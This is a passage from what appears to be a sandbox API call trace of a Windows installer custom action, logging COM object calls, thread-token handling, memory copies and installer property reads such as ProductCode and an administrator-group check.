Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xbde308 | out: ppvObject=0xbde308*=0x2bec570) returned 0x0 [0143.648] DllGetClassObject (in: rclsid=0x3287f0*(Data1=0xc103e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), riid=0x7fefd68d310*(Data1=0xd5f569d0, Data2=0x593b, Data3=0x101a, Data4=([0]=0xb5, [1]=0x69, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2d, [6]=0xbf, [7]=0x7a)), ppv=0xbde388 | out: ppv=0xbde388*=0x7fef7b24050) returned 0x0 [0143.648] NdrDllGetClassObject (in: rclsid=0x3287f0*(Data1=0xc103e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), riid=0x7fefd68d310*(Data1=0xd5f569d0, Data2=0x593b, Data3=0x101a, Data4=([0]=0xb5, [1]=0x69, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2d, [6]=0xbf, [7]=0x7a)), ppv=0xbde388, pProxyFileList=0x7fef7b22388, pclsid=0x7fef7aa6bb8*(Data1=0xc103e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pPSFactoryBuffer=0x7fef7b24050 | out: ppv=0xbde388*=0x7fef7b24050) returned 0x0 [0143.649] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x319680*(Data1=0xc1033, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2af2d20 | out: ppvObject=0x2af2d20*=0x2bec570) returned 0x0 [0143.659] StdGlobalInterfaceTable:IUnknown:Release (This=0x3d6028) [0143.659] StdGlobalInterfaceTable:IUnknown:Release (This=0x2bec570) returned 0x4 [0146.454] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd68d8e0*(Data1=0x1c733a30, Data2=0x2a1c, Data3=0x11ce, Data4=([0]=0xad, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0x77, [7]=0x3d)), ppvObject=0xbdef68 | out: ppvObject=0xbdef68*=0x0) returned 0x80004002 [0146.455] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.456] GetCurrentThread () returned 0xfffffffffffffffe [0146.456] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.456] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.456] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.457] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.457] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.461] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.461] GetCurrentThread () returned 0xfffffffffffffffe [0146.461] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.461] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.461] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.461] lstrlenW (lpString="-- CUSTOM ACTION -- InstallPrepare") returned 34 [0146.461] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.462] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.462] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.463] GetCurrentThread () returned 0xfffffffffffffffe [0146.463] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.463] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.463] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.465] memcpy (in: _Dst=0x3728b0, _Src=0x3c5ff0, _Size=0x44 | out: _Dst=0x3728b0) returned 0x3728b0 [0146.465] memcpy (in: _Dst=0x3c5ab0, _Src=0x3728b0, _Size=0x44 | out: _Dst=0x3c5ab0) returned 0x3c5ab0 [0146.466] SetEvent (hEvent=0x170) returned 1 [0146.468] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.472] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.472] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.473] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.473] GetCurrentThread () returned 0xfffffffffffffffe [0146.474] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.474] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.474] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.475] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.475] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.477] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.477] GetCurrentThread () returned 0xfffffffffffffffe [0146.477] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.477] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.477] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.477] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.478] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.478] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.478] GetCurrentThread () returned 0xfffffffffffffffe [0146.478] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.479] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.479] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.479] lstrlenW (lpString="-- CUSTOM ACTION -- Elevated") returned 28 [0146.479] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.479] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.479] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.480] GetCurrentThread () returned 0xfffffffffffffffe [0146.480] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.480] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.480] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.480] memcpy (in: _Dst=0x3728b0, _Src=0x3803e0, _Size=0x38 | out: _Dst=0x3728b0) returned 0x3728b0 [0146.480] memcpy (in: _Dst=0x380260, _Src=0x3728b0, _Size=0x38 | out: _Dst=0x380260) returned 0x380260 [0146.481] SetEvent (hEvent=0x170) returned 1 [0146.481] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.483] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.483] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.484] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.484] GetCurrentThread () returned 0xfffffffffffffffe [0146.484] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.484] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.484] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.486] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.487] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.495] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.495] GetCurrentThread () returned 0xfffffffffffffffe [0146.495] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.495] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.495] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.495] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.495] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.496] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.496] GetCurrentThread () returned 0xfffffffffffffffe [0146.496] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.496] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.496] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.496] lstrlenW (lpString="-- CUSTOM ACTION -- User name is kEecfMwgj") returned 42 [0146.496] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.496] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.497] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.497] GetCurrentThread () returned 0xfffffffffffffffe [0146.497] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.497] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.497] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.497] memcpy (in: _Dst=0x3728b0, _Src=0x34acc0, _Size=0x54 | out: _Dst=0x3728b0) returned 0x3728b0 [0146.497] memcpy (in: _Dst=0x34b540, _Src=0x3728b0, _Size=0x54 | out: _Dst=0x34b540) returned 0x34b540 [0146.497] SetEvent (hEvent=0x170) returned 1 [0146.498] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.499] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.499] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.500] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.500] GetCurrentThread () returned 0xfffffffffffffffe [0146.500] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.500] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.500] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.501] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.501] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.503] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.503] GetCurrentThread () returned 0xfffffffffffffffe [0146.503] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.503] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.503] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.503] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.503] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.504] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.504] GetCurrentThread () returned 0xfffffffffffffffe [0146.504] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.504] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.504] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.504] lstrlenW (lpString="-- CUSTOM ACTION -- The user is a member of the Administrators group.") returned 69 [0146.504] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.504] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.505] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.505] GetCurrentThread () returned 0xfffffffffffffffe [0146.505] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.505] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.505] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.505] memcpy (in: _Dst=0x3728b0, _Src=0x37f490, _Size=0x8a | out: _Dst=0x3728b0) returned 0x3728b0 [0146.505] memcpy (in: _Dst=0x37f3e0, _Src=0x3728b0, _Size=0x8a | out: _Dst=0x37f3e0) returned 0x37f3e0 [0146.505] SetEvent (hEvent=0x170) returned 1 [0146.506] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.508] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.508] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.509] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.509] GetCurrentThread () returned 0xfffffffffffffffe [0146.509] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.509] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.510] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.510] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.510] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.511] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.511] GetCurrentThread () returned 0xfffffffffffffffe [0146.511] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.511] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.511] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.512] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.512] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.512] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.512] GetCurrentThread () returned 0xfffffffffffffffe [0146.512] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.513] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.513] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.513] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Name=BZ.VER") returned 44 [0146.513] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.513] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.514] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.514] GetCurrentThread () returned 0xfffffffffffffffe [0146.514] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.514] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.514] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.514] memcpy (in: _Dst=0x3728b0, _Src=0x34b540, _Size=0x58 | out: _Dst=0x3728b0) returned 0x3728b0 [0146.514] memcpy (in: _Dst=0x34acc0, _Src=0x3728b0, _Size=0x58 | out: _Dst=0x34acc0) returned 0x34acc0 [0146.514] SetEvent (hEvent=0x170) returned 1 [0146.515] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.517] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.517] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.518] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.518] GetCurrentThread () returned 0xfffffffffffffffe [0146.518] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.518] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.518] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.519] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.519] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.520] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.520] GetCurrentThread () returned 0xfffffffffffffffe [0146.520] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde860 | out: TokenHandle=0xbde860*=0x0) returned 0 [0146.520] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde838 | out: Pid=0xbde838) returned 0x0 [0146.520] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.521] lstrlenW (lpString="BZ.VER") returned 6 [0146.522] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.522] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.523] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.523] GetCurrentThread () returned 0xfffffffffffffffe [0146.523] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde860 | out: TokenHandle=0xbde860*=0x0) returned 0 [0146.524] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde838 | out: Pid=0xbde838) returned 0x0 [0146.524] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.524] lstrlenW (lpString="BZ.VER") returned 6 [0146.525] memcpy (in: _Dst=0x3c22d0, _Src=0x383a10, _Size=0x2 | out: _Dst=0x3c22d0) returned 0x3c22d0 [0146.525] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.525] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.526] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.526] GetCurrentThread () returned 0xfffffffffffffffe [0146.526] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.526] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.527] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.527] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.527] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.528] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.528] GetCurrentThread () returned 0xfffffffffffffffe [0146.528] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.528] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.528] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.528] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Value=0") returned 40 [0146.528] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.528] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.529] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.529] GetCurrentThread () returned 0xfffffffffffffffe [0146.529] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.529] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.529] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.529] memcpy (in: _Dst=0x3728b0, _Src=0x3c5ab0, _Size=0x50 | out: _Dst=0x3728b0) returned 0x3728b0 [0146.529] memcpy (in: _Dst=0x3c5ff0, _Src=0x3728b0, _Size=0x50 | out: _Dst=0x3c5ff0) returned 0x3c5ff0 [0146.529] SetEvent (hEvent=0x170) returned 1 [0146.530] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.531] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.531] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.533] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.533] GetCurrentThread () returned 0xfffffffffffffffe [0146.533] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.533] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.533] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.533] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.534] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.535] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.535] GetCurrentThread () returned 0xfffffffffffffffe [0146.535] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.535] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.535] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.535] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.535] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.536] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.536] GetCurrentThread () returned 0xfffffffffffffffe [0146.536] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.536] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.537] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.537] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Name=ProductCode") returned 49 [0146.537] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.537] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.541] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.541] GetCurrentThread () returned 0xfffffffffffffffe [0146.541] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.541] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.541] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.541] memcpy (in: _Dst=0x3728b0, _Src=0x32e7a0, _Size=0x62 | out: _Dst=0x3728b0) returned 0x3728b0 [0146.542] memcpy (in: _Dst=0x32f250, _Src=0x3728b0, _Size=0x62 | out: _Dst=0x32f250) returned 0x32f250 [0146.542] SetEvent (hEvent=0x170) returned 1 [0146.542] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.544] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.544] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.545] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.545] GetCurrentThread () returned 0xfffffffffffffffe [0146.545] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.545] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.545] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.546] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.546] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.547] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.547] GetCurrentThread () returned 0xfffffffffffffffe [0146.547] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde860 | out: TokenHandle=0xbde860*=0x0) returned 0 [0146.547] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde838 | out: Pid=0xbde838) returned 0x0 [0146.547] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.547] lstrlenW (lpString="ProductCode") returned 11 [0146.548] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.548] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.549] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.549] GetCurrentThread () returned 0xfffffffffffffffe [0146.549] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde860 | out: TokenHandle=0xbde860*=0x0) returned 0 [0146.549] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde838 | out: Pid=0xbde838) returned 0x0 [0146.549] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.549] lstrlenW (lpString="ProductCode") returned 11 [0146.550] memcpy (in: _Dst=0x3c5fe0, _Src=0x32fe80, _Size=0x4c | out: _Dst=0x3c5fe0) returned 0x3c5fe0 [0146.550] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.551] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.551] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.552] GetCurrentThread () returned 0xfffffffffffffffe [0146.552] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.552] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.552] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.552] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.552] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.552] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.553] GetCurrentThread () returned 0xfffffffffffffffe [0146.553] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.553] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.553] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.553] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Value={AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 77 [0146.553] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.553] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.553] 